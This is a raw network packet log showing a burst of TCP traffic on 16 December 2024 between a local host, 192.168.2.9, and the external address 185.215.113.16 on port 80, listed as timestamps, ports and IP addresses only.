Dec 16, 2024 10:38:27.349255085 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.349293947 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.349905968 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.350266933 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.350328922 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.350364923 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.350963116 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.351346970 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.351417065 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.351475954 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.351541042 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.352423906 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.352493048 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.352528095 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.352608919 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.353493929 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.353579998 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.353612900 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.353669882 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.354662895 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.354727030 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.354754925 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.354799032 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.355639935 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.355726957 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.355752945 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.355784893 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.356705904 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.356832027 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.356909037 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.356970072 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.357873917 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.357913971 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.357956886 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.357997894 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.359095097 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.359150887 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.359193087 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.359251976 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.360213041 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.360282898 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.360289097 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.360342979 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.361099958 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.361166000 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.361183882 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.361293077 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.362118006 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.362142086 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.362188101 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.362188101 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.363214016 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.363301039 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.363327026 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.363377094 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.364331961 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.364396095 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.364402056 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.364460945 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.365367889 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.365493059 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.365506887 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.365628004 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.366430044 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.366487980 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.366527081 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.366630077 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.367460012 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.367537975 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.367779016 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.367831945 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.368554115 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.368623972 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.368634939 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.368693113 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.369611979 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.369724035 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.369738102 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.369776011 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.370678902 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.370735884 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.370837927 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.370892048 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.371854067 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.371890068 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.371920109 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.371943951 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.372881889 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.373095036 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.373121023 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.373214006 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.374068975 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.374105930 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.374129057 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.374247074 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.375051975 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.375185966 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.375193119 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.375246048 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.376137018 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.376210928 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.376252890 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.376319885 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.377194881 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.377338886 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.377379894 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.377379894 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.378266096 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.378381968 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.378495932 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.378495932 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.379365921 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.379455090 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.379496098 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.379564047 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.380402088 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.380521059 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.380527020 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.380611897 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.381535053 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.381633043 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.381642103 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.381707907 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.382596016 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.382651091 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.382699013 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.382699013 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.383712053 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.383810043 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.383877993 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.383936882 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.384763956 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.384865046 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.384959936 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.385042906 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.385782957 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.385843039 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.385987997 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.386153936 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.386857033 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.386931896 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.387012005 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.387067080 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.387973070 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.388086081 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.388134003 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.388343096 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.388952017 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.389190912 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.524533987 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.524586916 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.524600029 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.524651051 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.525005102 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.525135994 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.525154114 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.525218010 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.526082993 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.526149988 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.526454926 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.526505947 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.526557922 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.526623011 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.527549028 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.527652979 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.527659893 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.527699947 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.528630972 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.528717995 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.528723001 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.528791904 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.529700994 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.529767036 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.529787064 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.529814959 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.530800104 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.530850887 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.530873060 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.530891895 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.531831026 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.531939983 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.531949997 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.532038927 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.532922983 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.533027887 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.533034086 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.533116102 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.534075975 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.534143925 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.534164906 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.534209967 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.535111904 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.535172939 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.535181046 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.535223961 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.536148071 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.536259890 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.536272049 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.536397934 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.537285089 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.537352085 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.537363052 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.537467957 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.538312912 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.538376093 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.538480043 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.538556099 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.539386988 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.539489031 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.539491892 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.539541006 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.540451050 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.540532112 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.540591002 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.540591002 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.541708946 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.541743040 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.541758060 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.541806936 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.542707920 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.542745113 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.542773008 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.542773008 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.543797016 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.543818951 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.543840885 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.543872118 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.544758081 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.544801950 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.544864893 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.545011044 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.545859098 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.545902014 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.546000957 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.546082973 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.546921968 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.547041893 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.547074080 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.547074080 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.548052073 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.548098087 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.548119068 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.548162937 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.549093962 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.549144030 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.549164057 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.549179077 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.550199986 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.550221920 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.550261974 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.550262928 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.551209927 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.551260948 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.551281929 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.551328897 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.552285910 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.552388906 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.552392006 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.552474976 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.553359985 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.553443909 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.553459883 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.553514004 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.554456949 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.554534912 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.554572105 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.554572105 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.555543900 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.555600882 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.555787086 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.555954933 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.556593895 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.556632042 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.557301998 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.557364941 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.559720993 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.559734106 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.559745073 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.559756994 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.559792995 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.559823990 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.560182095 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.560229063 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.560331106 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.560424089 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.561248064 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.561326027 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.561398983 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.561479092 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.562299013 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.562350988 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.562374115 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.562488079 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.563707113 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.563824892 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.563880920 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.563954115 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.564819098 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.564871073 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.565013885 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.565052986 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.565809965 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.565823078 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.565855026 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.566565990 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.566646099 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.566703081 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.566883087 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.567672014 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.567683935 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.567732096 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.567732096 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.568727970 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.568855047 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.568902016 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.568989992 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.569824934 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.569894075 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.569981098 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.570213079 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.571012974 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.571096897 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.571140051 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.571310997 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.571904898 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.571974993 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.572057962 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.572102070 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.572947025 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.572989941 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.573101997 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.573179960 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.574186087 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.574198961 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.574259043 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.574259043 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.574841976 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.574909925 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.575382948 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.575428963 CET	49935	80	192.168.2.9	185.215.113.16
